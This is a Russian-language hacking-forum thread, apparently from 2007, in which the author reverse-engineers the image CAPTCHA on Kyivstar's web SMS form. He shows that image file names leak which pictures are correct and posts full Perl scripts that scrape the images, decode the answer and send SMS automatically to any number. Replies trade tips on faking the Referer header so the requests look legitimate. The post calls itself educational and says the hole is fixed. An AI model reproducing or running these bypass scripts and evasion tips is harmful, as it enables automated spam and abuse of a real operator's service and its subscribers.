Kyivstar CAPTHA IV I.Введение Пару слов от меня Студия Лебедева II.История исследования Первые впечатления Сортировка собранного материала III.Реализация, примеры Даулоадер captha картинок Пример отправки сообщения I.Введение Пару слов от меня Киевстaр ИМХО хороший оператор - сам им пользуюсь, приемлемые тарифы, хорошая связь. Я не заинтересован наносить какой - либо ущерб оператору, и поетому выкладываю запоздалый материал( тобиш уже пофиксили ) Студия Лебедева Разработчики всего сайта ,да и данной защиты от спама , является студия "Артемия Лебедева". Студия Лебедева немало известна: "19 июня 2001 года на церемонии награждения победителей сорок восьмого Международного фестиваля рекламы «Каннские львы 2001» Студию Артемия Лебедева наградили бронзовым львом (Cyber Lion, категория Rich Media Banners) за серию нарисованных дизайнером студии Олегом Пащенко flash-баннеров «Дизайн спасет мир»" источник : _http://www.artlebedev.ru/news/2001/algrelease_261.html II.История исследования Первые впечатления Когда я узнал что старую капчу(CAPTHA III) переделали ,зашел на страничку киевстара , решил взглянуть что и как там . Всё было как прежде , только длинна кода каждой картинки была разной , это и насторожило . Коды картинок небыли похожи между собой ( как было в третий капче - константы соединения ). После это я всё забросил всё это дело. Спустя неделю, снова решил все-таки отыскать что-то. Решил сохранять все картинки живой природы с кодами. Нечего интересно с этого не вышло , много времени потратил Результата 0 картинки были одинаковыми , а вот их коды совсем не были похожи - почти всё разной длинны и т.д. Позже я решил повторить предыдущие действия , на этот раз я написал скриптик для сбора картинок,- граблей в написание почти не было, так как я немного модифицировал предыдущий скрипт. Скрипт описание и комментарии смотрим в 3-й главе Сортировка собранного материала Скриптом я набрал около ~220 картинок. Пришло время искать что-то схожие. Я начал замечать одинаковые окончание файлов Отсортировав файлы по окончаниям, у меня вышло 20 папок : Code: 334547344F0840E178FC0e3 8DDA07C009F4E3 2D60E632B2795B 3494C4F70BB1A973B26 20B9DB12FDA9A 29B4A8EDF0D4060E0 4CD30DCA59DA4 8CE1148A2A156 263473E3826CD902C237C6 2D8BD0345BE3472 4A5EAE2811CE45 24691483129FF7D42D 356E4403F59A0 5F48180428 3E982518932CF8BD 6282A989E21DE0 75409329CDCBD22D 7030A8CBADD3D 9D9614E41B573 8B6514DAEEBA05 Code: C:\img\sort\thr>tree /F Вот что получил (перевожу малый кусочек, для избегания больших постов): Code: Структура папок Серийный номер тома: XXXX-XXXX C:\ +---334547344F0840E178FC0e3 ¦ E114C4761C3DC52111 334547344F0840E178FC0e3.jpg [-] ¦ 1A8F82721774AE105 334547344F0840E178FC0e3.jpg [-] ¦ 1C3574F90767894545114 334547344F0840E178FC0e3.jpg [-] ¦ 7CA85C667767632113 334547344F0840E178FC0e3.jpg [-] ¦ 56D935235BF030291 334547344F0840E178FC0e3.jpg [+] ¦ 79F28EB6BD42593456110 334547344F0840E178FC0e3.jpg [-] ¦ 79F28EB6BD42593456113 334547344F0840E178FC0e3.jpg [-] ¦ 162C03A633356345056110 334547344F0840E178FC0e3.jpg [-] ¦ 01760EF081D82E6556119 334547344F0840E178FC0e3.jpg [-] ¦ 66557CFC07092454591 334547344F0840E178FC0e3.jpg [+] ¦ 66557CFC07092454597 334547344F0840E178FC0e3.jpg [+] ¦ C24AD517FE525684 334547344F0840E178FC0e3.jpg [+] ¦ C25E7FC133B5F134699 334547344F0840E178FC0e3.jpg [+] ¦ +---8DDA07C009F4E3 ¦ 9E0D656C0682185635343115 8DDA07C009F4E3.jpg [-] ¦ 162C03A633356345056114 8DDA07C009F4E3.jpg [-] ¦ 66557CFC07092454597 8DDA07C009F4E3.jpg [+] ¦ C5DE8F1843E8EE57688 8DDA07C009F4E3.jpg [+] ¦ C5DE8F1843E8EE57689 8DDA07C009F4E3.jpg [+] ¦ C24AD517FE5256111 8DDA07C009F4E3.jpg [-] ¦ CD72DF83AC5C104 8DDA07C009F4E3.jpg [-] ¦ DD6EFFD6404D176456495 8DDA07C009F4E3.jpg [+] ¦ 1A8F82721774AE116 8DDA07C009F4E3.jpg [-] ¦ 66557CFC07092454592 8DDA07C009F4E3.jpg [+] ¦ 7CA85C667767632119 8DDA07C009F4E3.jpg [-] ¦ +---8B6514DAEEBA05 .......... Плюсом отмечены картинки живой природы. В дальнейшем я заметил чем-то похожие коды картинок Code: 79F28EB6BD4259345698 2D60E632B2795B.jpg FFD6404D1764564798 3494C4F70BB1A973B26.jpg После визуального разделения вот что получилось Code: 79F28EB6BD42593456 [B][COLOR=DarkOrange]98[/COLOR][/B] 2D60E632B2795B.jpg FFD6404D17645647 [B][COLOR=DarkOrange]98[/COLOR][/B] 3494C4F70BB1A973B26.jpg Вот и мои выводы по поводу кода: Code: -Папки по которым я отсортировал картинки -константы ,а еще точней это соли. -Отбрасываем соль, считываем последние две цифры , это есть "сущность " картинки ( природа , не природа ) -И наконец отбрасываем соль и последние два цыфры , это есть позиция (координаты) звёздочки(помехи на картинке) После такого визуального отделения я перешел к практическому , разделил всё. И собрал свою базу живой природы Code: '83','84','85','86','87','88','89', '90','91','92','93','94','95','96', '97','98','99' Собственно и всё далее осталось написать скрипт , смотрим в следующей главе III.Реализация, примеры Даулоадер captha картинок Code: #!/usr/bin/perl use LWP::UserAgent; use strict; use warnings; print "\t\tks_exemple.pl ~ / Kyivstar Image downloader / v1.1b\n". "\t\tby demonoid 212-905-288\n". "\t\tspecical for forum.antichat.ru / 23.08.2007 /\n\n"; my $ua = LWP::UserAgent->new; #-----------------------------------------------------------------> my $url = 'http://www.kyivstar.net/_sms/'; my $path = "C:/img/"; my $img_god = 0; my $img_bed = 0; my $errfile = "error_img.log"; my $gdfile = "good_img.log"; #-----------------------------------------------------------------> for(0..24){ my $request = HTTP::Request->new(GET => $url); my $response = $ua->request($request); my $res = $response->content; my ( @img_code , $con_code ,$img); #print $res; @img_code = ( $res =~ m/<img src="(\w+)"/gi); $con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi); #--------------------------------------------------------------> open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n"; open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n"; for(0..8) { $img="http://kyivstar.net/_sms/$img_code[$_]"; $res = $ua -> get("$img", ':content_file' => "$path$img_code[$_].jpg", 'Referer' => 'http://kyivstar.net/_sms/?lang=ua'); if( $res->status_line =~/404/ ) { print ERR_FILE "$img_code[$_]\n"; $img_bed++; } else { print GD_FILE "$img_code[$_]\n"; $img_god++; } } } print "\t\tGood img : $img_god \tBeed img : $img_bed\n". "\t\t----------------------------\n\n". "\t\t[+]All dome!\n". "\t\t[!]Loock img : $path \n". "\t\t[~]Error file : $path$errfile\n". "\t\t[~]Good file : $path$gdfile\n"; close ERR_FILE; close GD_FILE; Все картинки и логии в C:/img/ Пример отправки сообщения Code: #!/usr/bin/perl use LWP::UserAgent; use strict; use warnings; my ( @live_images,@images_sid,@last3figure,@length,$curr_salt,$curr_live_images,$live_images_code); my $debug_mode = 0; #режим отладки '1' my $c = 0; my $k = 0; my @good_img = ( '83','84','85','86','87','88','89', '90','91','92','93','94','95', '96','97','98','99' ); # salt двумерный массив который содержит последние 3 символа, и длину каждой соли # к примеру @salt[0][0] = 0e3 ,окончание соли 0e3 - длинна этой соли @salt[1][0] = 23 # и т.д. my @salt=( ['0e3','4E3','95B','B26','A9A','0E0','DA4', '156','7C6','472','E45','42D','9A0','428', '8BD','DE0','22D','D3D','573','A05' ], [ '23','14','14','19','13','17','13','13','22','15', '14','18','13','10','16','14','16','13','13','14' ]); my $ua = LWP::UserAgent->new; my $url = 'http://www.kyivstar.net/_sms/'; my $request = HTTP::Request->new(GET => $url); my $response = $ua->request($request); my $res = $response->content; #print $res; @live_images = ( $res =~ m/<img src="(\w+)"/gi); @images_sid = ( $res =~ m/<input type="hidden" name="images_sid" value="(\w+)"/gi); for(0..8) { debug("| 0x0%d ",$_+1); $length[$_] = length($live_images[$_]); $last3figure[$_] = substr($live_images[$_],$length[$_]-3,3); debug("| %50s | %s |\n",$live_images[$_],$last3figure[$_]); } debug("\n"); for(0..8) # 20 salt { debug("| 0x0%d ",$_+1); $curr_salt = $last3figure[$_]; for(0..19) { if( $curr_salt =~ /$salt[0][$_]/ ) { debug("| %3s | %2d |",$salt[0][$_],$salt[1][$_]); $length[$c] = $salt[1][$_]; $c++; } } $live_images[$_] = substr($live_images[$_],-$length[$_]-2,2); debug(" %2d |\n",$live_images[$_]); } debug("\n"); for(0..8) { $k++; $curr_live_images = $live_images[$_]; for(0..16) { if( $curr_live_images == $good_img[$_] ) { #print "[$k] $curr_live_images\n"; debug("| 0x0%d | %2d | \n",$k,$curr_live_images); $live_images_code.="0$k"; } } } debug("\nLive image code:%s\nImages sid:%d",$live_images_code,$images_sid[0]); &send_function($live_images_code,$images_sid[0]); #---------------------------------------------------------------------------------------> sub debug { if($debug_mode) { my @buf = @_; printf @buf; } } #-----------------------------------------------------------------------------------------> sub send_function { my ($live_images_code,$images_sid)=@_; my $browser = LWP::UserAgent->new; $browser->agent('New captha v4.0'); #$browser->proxy(['http'] => 'http://119.243.141.177:8080/'); my $mob_code = "097"; my $mob_number = "XXXXXXX"; my $messenge = "hello_antichat.ru"; my $url="http://kyivstar.net/_sms/"; printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n", $mob_code,$mob_number,$messenge ; my $response = $browser->post($url, ["submitted" => "true", "lang" => "ua", "sms_adv" => "101", "mobcode" => $mob_code, "number" => $mob_number, "lat" => 1, "message" => $messenge, "images_sid" => $images_sid, "live_images" => $live_images_code], "Content-Type" => "application/x-www-form-urlencoded", "Referer" => "http://kyivstar.net/_sms/", "Connection" => "Keep-Alive", "Cache-Control"=> "no-cache"); my $status= $response->as_string(); ( $status =~/messageID/g )?print "\t[+] messenge it is successfully sent\n":print "\t[-] messenge it is not sent"; } Пример вызова Code: [+]Send 097-XXXXXXX message: <<hello_antichat.ru>> [+] messenge it is successfully sent В целях более глубокого изложения материала, сделал режим отладки $debug_mode = 1 Снова вызываем Code: | 0x01 | 01760EF081D82E65561[B][COLOR=Red]19[/COLOR][/B][B][COLOR=DarkOliveGreen]4CD30DCA59[/COLOR][/B][B][COLOR=DarkOrange]DA4[/COLOR][/B] | [B][COLOR=DarkOrange]DA4[/COLOR][/B] | #0x01 -картинка №1 , DA4-окончание соли | 0x02 | C25E7FC133B5F13461[B][COLOR=Red]04[/COLOR][COLOR=DarkOliveGreen]2D60E632B27[/COLOR][/B][B][COLOR=DarkOrange]95B[/COLOR][/B] | [B][COLOR=DarkOrange]95B[/COLOR][/B] | #0x02 -картинка №2 , 95B-окончание соли | 0x03 | 46477C4FD14B23451137[B][COLOR=Red]03[/COLOR][COLOR=DarkOliveGreen]0A8CBAD[/COLOR][/B][B][COLOR=DarkOrange]D3D[/COLOR][/B] | [B][COLOR=DarkOrange]D3D[/COLOR][/B] | #... | 0x04 | 02CF3C913149356535671[B][COLOR=Red]09[/COLOR][COLOR=DarkOliveGreen]3494C4F70BB1A973[/COLOR][/B][B][COLOR=DarkOrange]B26[/COLOR][/B] | [B][COLOR=DarkOrange]B26[/B][/COLOR] | | 0x05 | 827C7585B76464[B][COLOR=Red]86[/COLOR][COLOR=DarkOliveGreen][COLOR=DarkOliveGreen]29B4A8EDF0D406[/COLOR][/COLOR][/B][B][COLOR=DarkOrange]0E0[/COLOR][/B] | [B][COLOR=DarkOrange]0E0[/B][/COLOR] | | 0x06 | 66557CFC070924545[B][COLOR=Red]97[/COLOR][COLOR=DarkOliveGreen]75409329CDCBD[/COLOR][/B][B][COLOR=DarkOrange]22D[/COLOR][/B] | [B][COLOR=DarkOrange]22D[/B][/COLOR] | | 0x07 | FFD6404D17645647[B][COLOR=Red]95[/COLOR][COLOR=DarkOliveGreen]356E4403F5[/COLOR][/B][B][COLOR=DarkOrange]9A0[/COLOR][/B] | [B][COLOR=DarkOrange]9A0[/B][/COLOR] | | 0x08 | 9E0D656C06821856353431[B][COLOR=Red]12[/COLOR][COLOR=DarkOliveGreen]8B6514DAEEB[/COLOR][/B][B][COLOR=DarkOrange]A05[/COLOR][/B] | [B][COLOR=DarkOrange]A05[/B][/COLOR] | | 0x09 | C24AD517FE5256[B][COLOR=Red]84[/COLOR][COLOR=DarkOliveGreen]9D9614E41B[/COLOR][/B][B][COLOR=DarkOrange]573[/COLOR][/B] | [COLOR=DarkOrange][B]573[/COLOR][/B] | | 0x01 | [B][COLOR=DarkOrange]DA4[/COLOR][/B] | 13 | [B][COLOR=Red]19[/COLOR][/B] | #0x01 -картинка №1,DA4-окончание соли,13 длинна соли,19 - "сущность" картинки | 0x02 | [B][COLOR=DarkOrange]95B[/COLOR][/B] | 14 | [B][COLOR=Red]4 [/COLOR][/B] | #0x02 -картинка №2,95B-окончание соли,14 длинна соли,4 - "сущность" картинки | 0x03 | [B][COLOR=DarkOrange]D3D[/COLOR][/B] | 13 | [B][COLOR=Red]3 [/COLOR][/B] | #... | 0x04 | [B][COLOR=DarkOrange]B26[/COLOR][/B] | 19 | [B][COLOR=Red]9 [/COLOR][/B] | | 0x05 | [B][COLOR=DarkOrange]0E0[/COLOR][/B] | 17 | [B][COLOR=Red]86[/COLOR][/B] | | 0x06 | [B][COLOR=DarkOrange]22D[/COLOR][/B] | 16 | [B][COLOR=Red]97[/COLOR][/B] | | 0x07 | [B][COLOR=DarkOrange]9A0[/COLOR][/B] | 13 | [B][COLOR=Red]95[/COLOR][/B] | | 0x08 | [B][COLOR=DarkOrange]A05[/COLOR][/B] | 14 | [B][COLOR=Red]12[/COLOR][/B] | | 0x09 | [B][COLOR=DarkOrange]573[/COLOR][/B] | 13 | [B][COLOR=Red]84[/COLOR][/B] | | 0x05 | [B][COLOR=Red]86[/COLOR][/B] | #0x05 -картинка №5,86 - "сущность" картинки (живая природа по базе) | 0x06 | [B][COLOR=Red]97[/COLOR][/B] | #0x06 -картинка №6,97 - "сущность" картинки (живая природа по базе) | 0x07 | [B][COLOR=Red]95[/COLOR][/B] | #... | 0x09 | [B][COLOR=Red]84[/COLOR][/B] | Live image code:05060709 #номера картинок 0x05,0x06,0x07,0x09 Images sid:3537373 [+]Send 097-XXXXXXX message: <<hello_antichat.ru>> [+] messenge it is successfully sent И напоследок: _http://artlebedev.ru -сайт Студии Артемия Лебедева _http://www.kyivstar.net/_sms/ -киевстар , отправка сообщения _http://forum.antichat.ru/thread45934.html -3.0 капча _http://forum.antichat.ru/thread46080.html -3.1 капча, мой предыдущий материал ,данной тематики Важно : Материал исключительно в ознакомительных целях! Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Ты как будто курсовую работу писал: 90% воды Все ж просто: Code: [левая_хрень][COLOR=DarkRed]X[/COLOR][правая_хрень] Х - уникальный номер картинки Левая и правая хрень - это наборы из 20ти случайных строк. Но все равно зачет)) Какая разница, все равно пофиксили:/
Кстати, реферер не http://kyivstar.net/_sms/ а один из: http://kyivstar.net/_sms/?lang=ua http://kyivstar.net/_sms/?lang=ru http://kyivstar.net/_sms/?lang=en
познавательно. Один мой знакомый вообще сделал интересную капчу. Нарисовал 10-ть картинок с цифрами и выдавал их подряд. Тоесть по ссылкам на картинки можно легко определить код. Я долго ржал, когда увидел такую реализацию. Только я не понимаю, зачем так все через хитро закрученную жопу делать, особенно такой канторе. Могли бы выдавать без всяких там 8DDA07C009F4E3.jpg, а тупо у всех одна ссылка на картинку capha.jpg, которая генерируется разными шрифтами с разным наклоном букв. Или GD тогда ещё не было?
Интерестный момент: Недели две или три назад, урлы у картинок были тупо порядковыми номерами этих картинок, т.е. 1, 2, 3, 4, 5, 6, 7, 8, 9. У первой урл был всегда 1, у второй - всегда 2 и тд. Информации в таких урлах - ноль! Небыло никаких страшных 01760EF081D82E65561194CD30DCA59DA4.jpg В какой то день к этим уралам добавился параметр точно не помню, но что то типа такого: Code: <img src="1?antichat=541254" /> <img src="2?antichat=654654" /> ... <img src="9?antichat=1965211" /> потом убрали. Видимо боролись с кешем Через пару дней смотрю: снова вернули старые урлы, типа 01760EF081D82E65561194CD30DCA59DA4.jpg А сейчас -- снова порядковые номера на долго ли?
xMash Просьба описывает тематические ошибки более конкретно Если речь о даунлоадере картинок Code: ..... 'Referer' => '[COLOR=DarkOrange][B]http://kyivstar.net/_sms/?lang=ua[/B][/COLOR]'); .... Если про сендер . Разбор полётов : Code: POST /_sms/?lang=ua HTTP/1.1 Host: kyivstar.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; ....... Connection: keep-alive Referer: [B][COLOR=DarkOrange]http://kyivstar.net/_sms/[/COLOR][/B] ........... Что не нравиться в рефере сендера? Пакет выловлен плагином под ФФ Live HTTP headers
demonoid, Я про реферер сендера Зайдите на http://kyivstar.net/sms/, там в ифрейме всегда фигурирует параметр lang Code: <iframe src="/_sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe>
Нормальныйы реферер, только с таким реферером вы скорее всего себя палите. Ведь, про подмену реферера в наши дни знают, наверное, все. Поэтому там, наскольлко я заметил, стотит, что то типа ловушки: пустой реферер не канает, а все остальное что содержить kyivstar, хавается. Проверял. Тоесть в логах ваши рефереры будут выделяться на фоне остальных, потому что вы допустили в нем ошибку. Это конечно, всего лиш мое предположение.
Code: <iframe src="/[SIZE=5][B][COLOR=Red]_[/COLOR][/B][/SIZE]sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe> Сам ответил на свой вопрос: _хттп://www.kyivstar.net/_sms/ вместо хттп://www.kyivstar.net/sms/ Внимательно смотрим исходники :\ Code: 26: my $ua = LWP::UserAgent->new; 27: my $url = 'http://www.kyivstar.net/[SIZE=5][B][COLOR=Red]_[/COLOR][/B][/SIZE]sms/'; Вопрос исчерпан пс:хватит нести чушь :/
Я понимаю Орел птица гордая. Но ты неправ. По порядку : http://kyivstar.net/sms/ Code: iframe src="/_sms/?lang=ua" frameborder="0" Code: Тег <IFRAME> создает плавающий фрейм, который находится внутри обычного документа, он позволяет загружать в область заданных размеров любые [U]другие[/U] независимые документы. В нашем случае это документ: http://kyivstar.net/_sms/?lang=ua Со страницы http://kyivstar.net/_sms/ ловим пакет (при отправке сообщения): Code: POST /_sms/?lang=ua HTTP/1.1 Host: kyivstar.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive [SIZE=5][COLOR=DarkOrange][B]Referer: http://kyivstar.net/_sms/[/B][/COLOR][/SIZE] Cookie: countSms=XX; images_sid=XX messageID=20070921224240.D1953C%40messenger Content-Type: application/x-www-form-urlencoded Content-Length: XX submitted=true&lang=ua&sms_adv=201&mobcode=0XX&number=XXXXXXX&lat=1&message=XXXXX&images_sid=XXXXXX&live_images=XXXXXX Реферер (referer, HTTP_REFERER) - адрес веб-сайта с которого пришел посетитель. Сендер: Code: my $url = 'http://www.kyivstar.net/_sms/'; my $request = HTTP::Request->new(GET => $url); my $response = $ua->request($request); my $res = $response->content; http://www.kyivstar.net/_sms/ и есть мой рефер Я не пришел по ссылке, я запросил ответ от страницы, то есть я неоткуда не приходил. -Причём здесь подделка рефера? ПС: кто может, растолкуете уважаемому т. к я больше не могу нервы сдают: \
1. Когда форма с смской постится то реферером является ифрейм. Согласны? идем дальше. 2. На всех трех языковых версиях сайта http://www.kyivstar.net/sms/ http://www.kyivstar.net/sms/ru/ http://www.kyivstar.net/sms/en/ ссылка на ифрейм ставится указанием параметра lang. http://www.kyivstar.net/_sms/?lang=ua http://www.kyivstar.net/_sms/?lang=ru http://www.kyivstar.net/_sms/?lang=en Таким образом, получается, что правильный реферер это один из этих трех http://www.kyivstar.net/_sms/?lang=ua http://www.kyivstar.net/_sms/?lang=ru http://www.kyivstar.net/_sms/?lang=en Где вы взяли этот линк, без параметра? Другими словами: "правильный" отправитель смс (не спамер и не флудер) не станет открывать ифрейм в отдельном окне браузера. Также? Предлогаю вам утром со свежей головой взглянуть на эту ситуацию. А то пятницоо всетаки